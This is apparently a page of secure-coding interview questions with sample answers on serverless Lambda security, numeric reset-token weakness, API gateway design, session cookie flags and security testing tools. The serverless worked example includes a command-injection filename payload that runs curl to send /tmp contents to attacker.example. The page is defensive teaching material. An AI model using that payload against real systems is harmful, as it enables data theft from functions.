Secure Coding and Application Security Questions
Writing and reviewing code that resists attack. Covers the OWASP Top Ten and common web vulnerabilities (XSS, SQL injection, CSRF), input validation, secure coding practices and security code review, static application security testing (SAST), API and HTTP security, database and frontend security, and mobile app security. The application-layer defense discipline for engineers building software.
Design an approach to secure serverless (AWS Lambda) functions that process external input. As a penetration tester, list common serverless-specific vulnerabilities (e.g., excessive permissions, insecure environment variables, event-data injection), how you would test for them, and recommend secure deployment patterns and IAM best practices.
Sample Answer
Direct answer
Securing serverless functions that process external input means designing for the fact that the function's execution role and its event source are the entire attack surface, since there is no host or network perimeter to fall back on. Three vulnerability classes dominate (excessive permissions, insecure environment variables, event-data injection), each needs its own testing approach as a penetration tester, and the deployment pattern and identity and access management (IAM) practices that prevent them are the same regardless of which cloud runs the function.
Structured elaboration
Common serverless-specific vulnerabilities.
| Vulnerability | What it looks like |
|---|---|
| Excessive permissions | The function's execution role grants wildcard actions or resources, or holds a sensitive action it never uses (iam:PassRole, broad s3:*), typically because scoping per function was skipped in favor of reusing a broad "known working" role |
| Insecure environment variables | Secrets stored as plaintext environment variables rather than referenced from a managed secret store, readable by anyone with permission to view the function's configuration, not only by the function's own runtime |
| Event-data injection | The function trusts a field from its triggering event (an object storage key, a queue message body, an API Gateway path parameter) and uses it unsafely downstream, in a shell command, a file path, or a database query, letting whoever can produce that event influence what the function executes |
How to test for each, as a penetration tester. Enumerate the execution role's policies through read-only calls and validate any suspected over-permission with a policy simulator rather than by invoking the function with a crafted payload; read the function's configuration to check for plaintext secrets in environment variables rather than in a referenced secret store; and, for event-data injection, trace every field of the function's actual trigger payload (not just the ones the developer intended to use) to see which reach a sensitive sink (a subprocess call, a file path, a query string) without being validated or sanitized first. All three are identifiable through configuration review and controlled, authorized test-event submission, without needing destructive action against production.
Recommended secure deployment patterns.
- One execution role per function, scoped to that function's actual resources, rather than a role shared across a service's several functions; generate the initial scope from the function's actual call history using access-analysis tooling, then review it, rather than hand-guessing.
- Secrets resolved at invocation time from a managed secret store (AWS Secrets Manager, GCP Secret Manager, Azure Key Vault), referenced by an identifier in the function's configuration, never embedded as a plaintext environment variable or baked into the deployment package.
- Treat every field of the triggering event as untrusted input, applying the same validation discipline a web application applies to a request body: allow-list expected shapes, reject anything else, and never interpolate an event field directly into a shell command or file path.
- Least-privilege event source configuration. An API Gateway route should require authentication (IAM authorization or a JSON Web Token (JWT) authorizer) rather than being left open by default, and an object-storage trigger should be scoped to the specific prefix or event type the function actually needs to react to, not the whole bucket.
Worked example
A function triggered by object-storage uploads is meant to generate a thumbnail and write it to a processed-images bucket. It reads the uploaded object's key directly from the event payload and passes it, unsanitized, to a shell command that invokes an image-processing binary with the key as a filename argument. An attacker who can control the uploaded filename (any external user with upload access) uploads a file named thumb.jpg; curl attacker.example/exfil?data=$(cat /tmp/*), and if the shell command construction is naive string interpolation rather than an argument array, the embedded command executes on the function's runtime. As a penetration tester, this is identified by reading the function's source (or, if source is unavailable, by submitting an authorized test event with a crafted key value observing behavior through logs, never actually exfiltrating anything) rather than by exploiting it against production. The fix is not a single control but two independent ones: pass the filename as an argument array element rather than interpolating it into a command string (removing the injection vector entirely), and scope the function's execution role narrowly enough that even a successful injection cannot reach anything beyond the two buckets it legitimately touches.
Trade-offs and pitfalls
- Policy-simulator-based testing has a real limit. It confirms what the IAM policy allows, not what the function's own code path actually does with those permissions; the event-data-injection finding in the worked example is invisible to a policy simulator entirely; that vulnerability class requires reading code or observing crafted-event behavior, not permission analysis.
- Environment-variable encryption at rest is not the same control as restricting who can read the function's configuration. A team that enables the provider's default encryption and considers the environment-variable finding closed has not addressed the actual exposure, which is IAM permission to read the function's configuration in the first place, not the storage-layer encryption.
- Scoping a role from historical call data can under-scope for a legitimate rare path, the same risk that applies to any access-analysis-driven least-privilege exercise; a canary or monitored rollout period before fully cutting over avoids breaking a genuine but infrequent code path.
- A common wrong turn is validating only the fields a function's happy-path code reads, and skipping fields a developer assumed were "just metadata." In the worked example, the object key is exactly that kind of field: it looks like routing information, not user input, which is precisely why it is easy to miss in a review that only checks the fields the function's business logic obviously depends on.
During authentication testing you find a password-reset token that is a short numeric value delivered via email. Describe how you would assess its security (entropy, predictability, rate limiting on guesses, expiry), what makes this weak, and the fix you would recommend.
Sample Answer
Direct answer
A short numeric reset token has a tiny keyspace, so its real-world security rests entirely on how it is used, not on the token's character count alone. Entropy tells you the theoretical guess space; predictability asks whether the generator or something derivable narrows that space further; rate limiting on guesses is what actually determines whether the small keyspace is exploitable in practice; and expiry bounds the total time an attacker gets to try. A 6-digit numeric token has under 20 bits of entropy and is trivially brute-forceable within hours if nothing else constrains the attacker, so the fix is layered: increase entropy where the product allows it, and treat strict rate limiting and short expiry as non-negotiable, not optional hardening on top of a weak token.
Structured elaboration
Entropy
A 6-digit numeric token has 106=1,000,000 possible values, giving:
H=log2(106)≈19.93 bitsCompare this to a reasonable password-reset token delivered as a random URL-safe string, which commonly targets 128 or more bits. Twenty bits is not a small gap from that: it is a search space roughly 2^108 times smaller (a 108-bit difference, the same figure the worked example below quantifies), astronomically less rather than a modest reduction. Entropy alone is the wrong axis to evaluate in isolation, since any finite keyspace is eventually exhaustible without a rate limit, but it is the first thing to check because it sets the ceiling on how much work the other controls need to do to compensate.
Predictability
Beyond raw keyspace size, check whether the token generator is a cryptographically secure pseudo-random number generator (CSPRNG) or something weaker, a non-cryptographic PRNG seeded predictably (for example, off wall-clock time) would let an attacker who knows roughly when the token was issued narrow the search dramatically below even the raw 6-digit space. Also check whether the token is derived from anything guessable, a hash of the user's email combined with a predictable counter, or a sequential identifier, rather than genuinely random; either reduces the effective entropy far below what the digit count alone suggests.
Rate limiting on guesses
This is the control that actually determines whether a small keyspace is exploitable. With no rate limit, an attacker guessing at a moderate 100 attempts per second exhausts the entire 1,000,000-value space in a worst case of:
tworst=100 /s1,000,000=10,000 s≈166.7 minutesand finds the correct token in roughly half that time on average, about 83 minutes. With a strict limit, for example 5 to 10 attempts before the token or account locks, the probability of guessing correctly within the allowed attempts stays vanishingly small even for a keyspace this size: at 10 attempts against a million-value space, the chance of success is only 0.001%. This must be enforced server-side and keyed on the token or the target account, not primarily on the requesting IP address, which an attacker can rotate, and it should trigger increasing backoff or lockout, not a silent, unlimited rejection.
Expiry
Expiry bounds the total time available regardless of guess rate: the rate limit caps guesses per unit of time, expiry caps how many units of time exist at all. A token valid for 24 hours gives an attacker a full day to grind against it even under a rate limit; a short expiry, commonly 10 to 15 minutes, tied to how quickly a legitimate user is expected to complete the reset flow, meaningfully shrinks total exploitable attempts under the same per-minute rate limit. Two related checks belong here: does using the token invalidate it immediately (single-use), and does requesting a new reset invalidate any previous outstanding token, so multiple simultaneously valid tokens do not multiply the attack surface.
What makes this weak, and the recommended fix
The combination that makes a short numeric one-time password (OTP) genuinely dangerous is low entropy together with no effective rate limit together with a long expiry; any one of the three being strong can partially compensate for the others being weak, but a numeric token's low entropy leaves very little margin, so it needs the other two to both be strong, not merely present. The fix: increase entropy where the product allows it (prefer a longer, high-entropy random token over a short numeric code when the delivery channel supports it); where a numeric code is a hard product requirement for user-experience reasons, keep it numeric but make strict per-token and per-account attempt limits with lockout, plus short expiry and single-use invalidation, non-negotiable rather than optional hardening layered on afterward.
Worked example
All figures above were computed directly: log2(106)≈19.93 bits (versus roughly 128+ bits for a typical random token, a gap of about 2108, several orders of magnitude); worst-case brute-force time at 100 guesses/second is 10,000 seconds (≈166.7 minutes), average-case about half that (≈83.3 minutes); and the probability of success within a 10-attempt lockout threshold against the same 1,000,000-value space is 10/1,000,000=0.00001=0.001%.
Trade-offs and pitfalls
- A short numeric OTP delivered by SMS or email is a legitimate, common UX pattern (easy to type on any device); the trade-off is never "never use one," it is "never use one without strong rate limiting and short expiry compensating for its inherently smaller keyspace."
- Rate limiting by IP address alone is a common wrong turn. It is trivially defeated by an attacker rotating source IPs across a botnet or proxy pool; rate limit primarily on the resource actually being attacked, the specific token or account, with IP-based limiting as a secondary, defense-in-depth signal rather than the primary control.
- A related, subtle pitfall in the same code path: if the reset flow's error behavior differs for a valid versus an invalid username or email, that is a user-enumeration side channel worth flagging in the same review, even though it is a distinct weakness from the token's own entropy; the response should be identical regardless of whether the account exists.
- Forgetting to invalidate the previous token when a new reset is requested turns one guessable token into several: five reset requests without invalidation leave five simultaneously valid tokens live at once, materially increasing the effective attack surface over the same time window.
Architect a secure API gateway for an enterprise that centralizes protection against injection, broken authentication/authorization, SSRF, and protocol abuse. Describe the components involved (authentication, authorization, WAF, mutual TLS, rate limiting, token introspection, egress controls, SSO protections), how the policies are enforced, how you would instrument detection, and trade-offs such as latency and operational complexity.
Sample Answer
Direct answer
A secure Application Programming Interface (API) gateway centralizes the security controls that would otherwise be duplicated (and inconsistently implemented) across every backend service: authentication, authorization, injection and protocol defense, Server-Side Request Forgery (SSRF)/egress control, and Single Sign-On (SSO) protections, all enforced at one well-instrumented choke point in front of a fleet of services that individually trust the gateway rather than the open internet. The design has to hold two things in tension: pushing enforcement to one place makes it consistent and auditable, but it also makes the gateway a single point of both failure and latency, so the architecture needs to be highly available and fast on the hot path while still being the place every security decision and every detection signal converges.
Structured elaboration
Component architecture.
flowchart LR
Client -->|"1: TLS handshake"| GW[API Gateway]
GW -->|"2: verify token"| AuthN[AuthN service<br/>OIDC/SSO IdP]
GW -->|"3: check scopes"| AuthZ[AuthZ / policy engine]
GW -->|"4: inspect request"| WAF[WAF layer]
GW -->|"5: rate check"| RL[Rate limiter]
GW -->|"6: emit signal"| Detect[Detection / SIEM pipeline]
GW -->|"7: forward, mTLS"| Backend1[Backend service A]
GW -->|"7: forward, mTLS"| Backend2[Backend service B]
Backend1 -->|"egress request"| EgressCtl[Egress control /<br/>allow-listed destinations only]
Authentication. Terminate authentication at the gateway, not in each backend, so there is exactly one place that validates tokens and exactly one place a token-validation bug can exist. For interactive users, the gateway participates in an SSO flow (OpenID Connect (OIDC) or SAML) against a central identity provider, exchanging the SSO session for a short-lived, gateway-issued access token that backends actually see. For service-to-service and third-party callers, validate a JSON Web Token (JWT) or opaque token via introspection against the issuing authorization server (OAuth 2.0 token introspection, RFC 7662) rather than trusting a locally cached public key indefinitely, so a revoked token stops working immediately instead of only once it naturally expires.
Authorization. Authentication answers "who is this," authorization answers "what are they allowed to call," and these need to be separate, composable decisions. A centralized policy engine (attribute-based, evaluating caller identity, requested route, and request context together) lets the gateway make a coarse-grained allow/deny decision before the request ever reaches a backend, while fine-grained, resource-level authorization (can this specific user see this specific record) still belongs in the backend service, which is the only place that actually knows the resource's ownership. The gateway's job is to cut off the large class of requests that should never reach a backend at all (wrong scope, wrong audience, expired token), not to replace the backend's own authorization logic.
Web Application Firewall (WAF). Sits in the request path to catch the OWASP-Top-Ten-shaped payloads (SQL (Structured Query Language) injection patterns, script-injection payloads, path traversal sequences, known exploit signatures for the frameworks in use) before they reach application code, as a defense-in-depth layer, never as a substitute for parameterized queries and output encoding in the backend itself. Tune it in detection-only mode first against real production traffic to characterize false positives before flipping to blocking mode, because a WAF that blocks legitimate traffic on day one erodes trust in the whole control and invites teams to request exceptions that quietly widen the hole.
Mutual TLS (mTLS). Two distinct mTLS relationships exist in this design and they serve different purposes: gateway-to-backend mTLS establishes that traffic reaching a backend really came through the gateway (backends can then refuse any connection that does not present the gateway's client certificate, closing off direct-to-backend bypass), while client-to-gateway mTLS (where the caller is a service or partner rather than a browser user) provides strong caller authentication independent of, and in addition to, the token-based authentication above.
Rate limiting. Apply it at multiple granularities simultaneously: per-caller-identity (the primary control, since it survives the caller rotating IPs), per-route (protecting expensive endpoints specifically, like search or export), and a coarse per-source-IP limit as a backstop against unauthenticated abuse before a caller identity is even established. Rate limiting is also a security control, not just a cost control: it is what turns a credential-stuffing or brute-force attempt from "instant" into "slow enough to detect and block."
Token introspection. Beyond initial validation, route sensitive operations through live introspection against the authorization server rather than relying solely on a cached JWT's embedded expiry, specifically because token revocation (a compromised session being killed, a user being deprovisioned) needs to take effect immediately, and a purely local, stateless JWT validation cannot express "this specific token was just revoked" without either a short token lifetime plus refresh (acceptable staleness window) or introspection (immediate, at the cost of a network round-trip per request).
Egress controls. The gateway is the natural place to also enforce outbound rules for any backend that itself makes server-side requests to caller-influenced URLs (an SSRF vector): centralizing an allow-list of legitimate outbound destinations here means one policy update closes the hole for every backend, instead of relying on each service team to have implemented its own allow-list correctly.
SSO protections. Beyond the authentication flow itself, this means the gateway (or the identity provider (IdP) it delegates to) enforces: strict redirect-URI allow-listing on the OAuth/OIDC flow (an open redirect here is a full account-takeover primitive, not a cosmetic bug), state/nonce validation to prevent cross-site request forgery (CSRF) and replay against the SSO callback, and short-lived session tokens with refresh rotation so a leaked session token has a bounded window of usefulness. Because SSO centralizes identity, a flaw in this specific flow compromises every downstream service simultaneously, which is exactly why it deserves explicit design attention rather than being treated as "just OAuth, handled by the library."
Detection instrumentation. Every one of the layers above should emit a structured event on both allow and deny decisions (not just denials; a stream of "everything is fine" telemetry is what lets you notice when it suddenly stops), feeding a Security Information and Event Management (SIEM) pipeline that correlates: repeated authentication failures for one identity (credential stuffing), authorization denials clustering on one route (probing for a missing check), WAF signature matches, and rate-limit trips. Because the gateway sees 100% of external traffic, it is the single richest source of this signal in the whole architecture, and instrumentation here should be treated as a first-class design requirement, not an afterthought bolted on after the routing logic is done.
Policy enforcement mechanics. Represent authentication and authorization requirements as declarative, versioned policy (per route: required scopes, rate limits, WAF ruleset, mTLS requirement) rather than as imperative code scattered through gateway plugins, so that a policy change is reviewable in a pull request and consistently applied, and so that a new backend service is secure by default the moment it is registered with the gateway rather than requiring every team to independently remember every control.
Worked example
A concrete route: POST /api/v1/payments/refund. The gateway's policy for this route declares: scope=payments:refund, rate_limit=10/min per identity, mtls_required=true for the calling service, waf_ruleset=strict. A request arrives with a valid SSO-derived JWT, but for a caller whose token has scope=payments:read only. The gateway's authorization check denies the request with a 403 before it reaches the payments backend at all, and emits a structured denial event tagged with the caller identity, the requested scope, and the granted scope. If ten of these denials arrive from the same caller identity within a minute, the SIEM correlation rule for "scope-probing" fires and pages the on-call security engineer, who can see from the single gateway log stream exactly which route and which identity, without needing to correlate logs across the payments service, the auth service, and the network layer separately. This is the concrete payoff of centralization: one denial is noise, ten correlated denials from one identity against one sensitive route is a signal, and the gateway is the only place positioned to see that pattern in real time.
Trade-offs and pitfalls
| Trade-off | Cost | Why it is usually still worth it |
|---|---|---|
| Latency | Every layer (authentication, authorization, WAF inspection, rate-limit check) adds hops before the request reaches the backend | Run authentication/authorization/rate-limit checks in-memory or against a local cache with async revalidation rather than a synchronous round-trip per layer per request, and only pay the full introspection round-trip cost for sensitive routes, not every request |
| Operational complexity | The gateway becomes a large, stateful, high-blast-radius component that a small team now has to run at very high availability, since every request depends on it | Treat gateway configuration with the same rigor as application code: versioned policy, staged rollout, automated rollback, and a documented bypass procedure for the gateway's own outage that does not simply disable security controls fleet-wide |
| Single point of failure | A gateway outage takes down every backend behind it, even backends that were themselves healthy | Design for graceful degradation per control (e.g., fail closed on authentication, but define explicitly whether WAF inspection fails open or closed under gateway resource pressure) rather than an undifferentiated "gateway is down, everything is down" |
| False confidence in backend teams | Backend engineers can start assuming "the gateway handles security" and skip resource-level authorization or input validation in their own service | Make explicit in the platform's contract with service teams that the gateway handles coarse-grained, cross-cutting controls only; fine-grained authorization and defense-in-depth input handling remain each backend's own responsibility, and this needs to be a stated architectural principle, not an assumption |
| WAF false positives | Overly aggressive rules block legitimate traffic (a customer's business data that happens to contain a string resembling a SQL keyword) | Stage new rules in detection-only mode against real traffic before blocking, and give backend teams a fast, auditable exception path so they are not tempted to work around the gateway entirely |
The single biggest pitfall in this design is architectural: building "one big gateway that does everything" without separating the concerns of authentication/authorization (identity-plane), WAF/rate-limiting (traffic-plane), and egress/SSRF control (network-plane) into independently scalable, independently failable components. A monolithic gateway that couples all three tends to fail all three together under load, exactly when the security controls matter most.
List and explain the most important cookie and session flags and properties to check when testing session management: HttpOnly, Secure, SameSite, session-ID entropy and rotation on login, and appropriate expiration. Explain what an attacker gains if each protection is missing.
Sample Answer
Direct answer
When testing session management, check six things on the session cookie itself: the HttpOnly flag, the Secure flag, the SameSite attribute, how random (high-entropy) the session identifier is, whether it rotates on login, and whether the session actually expires in a reasonable window. Each one blocks a distinct attack path, so each is checked independently rather than assuming one strong control compensates for a missing one.
Structured elaboration
| Property | What it does | What an attacker gains if it's missing |
|---|---|---|
HttpOnly | Prevents JavaScript running on the page from reading the cookie's value | If there is any cross-site scripting (XSS) vulnerability anywhere on the site, injected script can read document.cookie, exfiltrate the session cookie to an attacker-controlled server, and hijack the session directly. Missing HttpOnly turns an XSS bug into full session takeover instead of a more limited page-defacement issue. |
Secure | Tells the browser to only ever send the cookie over an HTTPS connection, never plain HTTP | On any network where traffic can be intercepted (public Wi-Fi, a compromised router, an on-path attacker), a session cookie sent over plaintext HTTP, even if the site is normally accessed over HTTPS, can be captured and replayed. This matters even on HTTPS-only sites, because a stray HTTP link or a mixed-content resource can still trigger a plaintext send if Secure is not set. |
SameSite (Strict, Lax, or None) | Controls whether the browser attaches the cookie to requests originating from a different site | Without a restrictive SameSite value, a cross-site request forgery (CSRF) attack, where a malicious page on another site causes the victim's browser to submit a request to the target site, still carries the victim's session cookie, letting the forged request execute as the logged-in user. SameSite=None is sometimes required for legitimate cross-site flows, but it needs the Secure flag and a genuine CSRF-token defense alongside it. |
| Session-ID entropy | How unpredictable the identifier is, so it cannot be guessed or brute-forced | A session identifier generated with a weak or predictable source (a sequential counter, a hash of a low-entropy value like a timestamp, a short identifier) can be guessed or enumerated by an attacker, who can then simply present a guessed valid identifier and be treated as that user, without ever needing to steal anything. |
| Rotation on login | Issues a new session identifier at the moment of authentication (and, ideally, on logout and privilege escalation) | Without rotation, an attacker who can plant or capture a session identifier before the victim authenticates (a session fixation attack) finds that identifier still valid and now authenticated after the victim logs in, letting the attacker use the same identifier to access the account. |
| Appropriate expiration | Bounds how long a session identifier remains valid, both an idle timeout and an absolute maximum lifetime | A session that never expires, or expires only after an unreasonably long window, means a stolen or abandoned session identifier (a logged-in session left open on a shared or public computer, a captured cookie from months ago) stays usable indefinitely, giving an attacker a much longer window to exploit it. |
Worked example
Testing a target application's session cookie by inspecting the Set-Cookie header returned after login:
Set-Cookie: session=a1b2c3; Path=/
Working through the checklist against this single header already surfaces several findings: no HttpOnly (any XSS on the site can read this cookie via JavaScript), no Secure (it will be sent over plain HTTP if the site is ever reached that way), no SameSite attribute (defaults vary by browser, but explicitly setting it is the only way to be sure of the behavior, and this cookie does not), and the identifier a1b2c3 is short and looks like it could be sequential or otherwise low-entropy, worth testing further by requesting several sessions in a row and checking whether the values follow a discoverable pattern. Separately, logging in twice in a row and comparing the session identifier before and after authentication reveals whether it rotates, and leaving a session idle (or checking documentation/behavior for an absolute session lifetime) reveals whether expiration is enforced.
A properly hardened equivalent:
Set-Cookie: session=8f2e91acb4d67a1e3c9f0d5b2a7e4f1c; Path=/; HttpOnly; Secure; SameSite=Strict; Max-Age=1800
Here the identifier is long and appears random, HttpOnly blocks script access, Secure restricts transmission to HTTPS, SameSite=Strict blocks cross-site request attachment, and Max-Age=1800 bounds the cookie to 30 minutes measured from when the browser received it. Note that Max-Age is an absolute browser-side lifetime, not an idle timeout: unless the server re-issues the cookie on every response, continued activity does not extend it, and either way the server has to enforce its own idle and absolute limits independently, since the browser-side value only governs when the browser stops sending the cookie. Confirming rotation on login still requires an active test (comparing the pre- and post-authentication cookie values), since it is not visible from a single header.
Trade-offs and pitfalls
- Checking flags without checking behavior. The presence of
SameSite=Strictin a header is easy to verify by inspection; whether the session identifier actually rotates on login, or whether expiration is genuinely enforced server-side and not just suggested by aMax-Agevalue the server ignores, requires exercising the application, not just reading response headers. SameSite=Laxas a default, not a considered choice. Many frameworks now default new cookies toSameSite=Lax, which blocks most cross-site POST-based CSRF but still allows the cookie on top-level navigation (a link click), which is enough for some attack variants; treat the default as a reasonable baseline to verify, not as proof the application is intentionally protected.- Relying on
SameSitealone as CSRF protection. Browser support and edge-case behavior (subdomains, certain redirect chains) makeSameSitea strong layer, not a complete replacement for an explicit CSRF token, especially for an application that must support older or unusual clients. - High entropy alone does not fix a fixation vulnerability. A perfectly random, unguessable session identifier is still exploitable if the application never rotates it at login; entropy defends against guessing, rotation defends against a known-but-unauthenticated identifier being reused. They are independent controls addressing different attack paths.
- Expiration set too long "for user convenience." A long-lived session is a common, deliberate business trade-off (fewer login prompts), but it should be a considered decision weighed against the sensitivity of what the session protects, not a default left unexamined; a banking application and a low-stakes content site have very different reasonable answers here.
Compare SAST, DAST, IAST, and SCA tools. For a web-application penetration-test engagement specifically, explain when you would use each type of tooling, what kinds of vulnerabilities each detects well, and where manual testing is still required regardless of tooling coverage.
Sample Answer
Direct answer
On a web-application penetration-test engagement, the four tool families earn their place at different points depending on what access the engagement grants: Static Application Security Testing (SAST) and Software Composition Analysis (SCA) are used during scoping and preparation when source access is available (white-box or grey-box engagements), Dynamic Application Security Testing (DAST) is used throughout active testing against the running target regardless of access level, and Interactive Application Security Testing (IAST) is used only when the client can stand up an instrumented build specifically for the engagement. All four accelerate discovery; none of them replaces the manual exploitation, chaining, and judgment that actually produces a defensible finding.
Structured elaboration
When to use each, and what each detects well, in an engagement
| Tool | When in the engagement | Detects well |
|---|---|---|
| SAST | Engagement prep, if source is provided (white-box/grey-box); run once against the codebase before testing begins to prioritize where to spend limited testing hours. | Injection patterns with a clear code-level signature (unparameterized queries, unsafe deserialization calls, hardcoded secrets); gives a prioritized target list rather than a final finding. |
| DAST | Throughout active testing, against the live application or a faithful staging replica, regardless of whether source was provided. | Anything observable purely from the outside: reflected cross-site scripting (XSS) confirmed by an actual response, missing security headers, session-management weaknesses visible in cookies, straightforward unauthenticated injection points. |
| IAST | Only if the client provisions an instrumented build for the engagement (uncommon outside a maturity-focused, white-box engagement); run alongside manual testing so the agent observes the tester's own traffic. | Confirms a code-level pattern found by SAST is actually reachable with tester-supplied input, sharply reducing time spent chasing SAST findings that turn out to be dead code. |
| SCA | Engagement prep and again during reporting; scan the dependency manifest (or, black-box, fingerprint library versions from response headers and client-side assets) for known-vulnerable versions. | Known Common Vulnerabilities and Exposures (CVEs) in third-party libraries and frameworks, including transitive dependencies a manual review would be slow to enumerate by hand. |
Where manual testing is still required regardless of tooling coverage
- Business-logic flaws: a checkout flow that lets a coupon be applied twice, or a workflow that can be replayed out of its intended order; none of the four tool families reason about intended business rules, only about code patterns or observable responses.
- Authorization logic across roles: confirming that user A genuinely cannot reach user B's data, or that a lower-privilege role cannot reach an admin action, requires a tester to actually authenticate as multiple distinct roles and compare outcomes; tooling can flag a suspicious endpoint shape but cannot confirm the authorization boundary without doing this.
- Multi-step, chained exploitation: combining a low-severity information disclosure with a separate low-severity injection point to produce a high-severity outcome is exactly the kind of creative chaining tooling does not attempt, because each tool evaluates findings independently.
- Validating exploitability and impact for the report: a scanner reports "SQL injection detected"; a defensible report needs a tester to have actually demonstrated what an attacker could do with it (read one row, or read the whole table, or write to it), which is manual proof-of-concept work regardless of how the finding was originally surfaced.
- Race conditions and timing-dependent flaws: these require deliberately crafted concurrent requests and careful observation of the outcome, which is outside what any of the four tool types are built to detect.
Worked example
A grey-box engagement against a mid-sized e-commerce application, source access granted for the checkout service only: SCA against the checkout service's dependency manifest surfaces a known-vulnerable version of a JSON-parsing library used for order data; SAST against that same source flags two unparameterized query patterns in the order-lookup code; DAST run against the full live application (not just checkout) separately confirms a reflected XSS on the search page and enumerates the API surface for endpoints the tester did not have source for. The tester then spends the bulk of the manual testing window on two things tooling could not do: confirming the two SAST-flagged injection points are actually reachable with attacker-controlled input (one turns out to be, one is filtered upstream and is a false positive) and testing whether the checkout flow's coupon-application logic can be manipulated by replaying a request out of order, which it can, producing the engagement's highest-severity finding. Every tool contributed a lead; the highest-impact finding came from manual logic testing none of the four tools would have attempted.
Trade-offs and pitfalls
- Treating a clean SCA scan as "no supply-chain risk." A scan only flags KNOWN vulnerable versions; an unpatched but not-yet-disclosed weakness in a dependency, or a dependency the manifest does not even list (vendored or copy-pasted code), is invisible to it.
- Over-relying on SAST prioritization in a black-box engagement. Without source access, there is no SAST target list to prioritize from at all; the engagement has to lean more heavily on DAST and manual reconnaissance to build that priority list instead, which typically means budgeting more testing hours for enumeration.
- Reporting a tool's raw finding without manual confirmation. A client receiving an unconfirmed scanner finding cannot tell a real, exploitable issue from a false positive; every finding that reaches the final report needs the tester's own evidence of impact, not just the tool's flag.
- Assuming IAST coverage without checking what traffic actually drove it. Because IAST only reports on code paths its instrumented build actually observed, an engagement that never exercises a particular workflow gets zero IAST signal on that workflow, which can be mistaken for "that workflow is clean" rather than "that workflow was never tested."
Unlock Full Question Bank
Get access to all 49 Secure Coding and Application Security interview questions and detailed answers.
Sign in to ContinueJoin thousands of developers preparing for their dream job.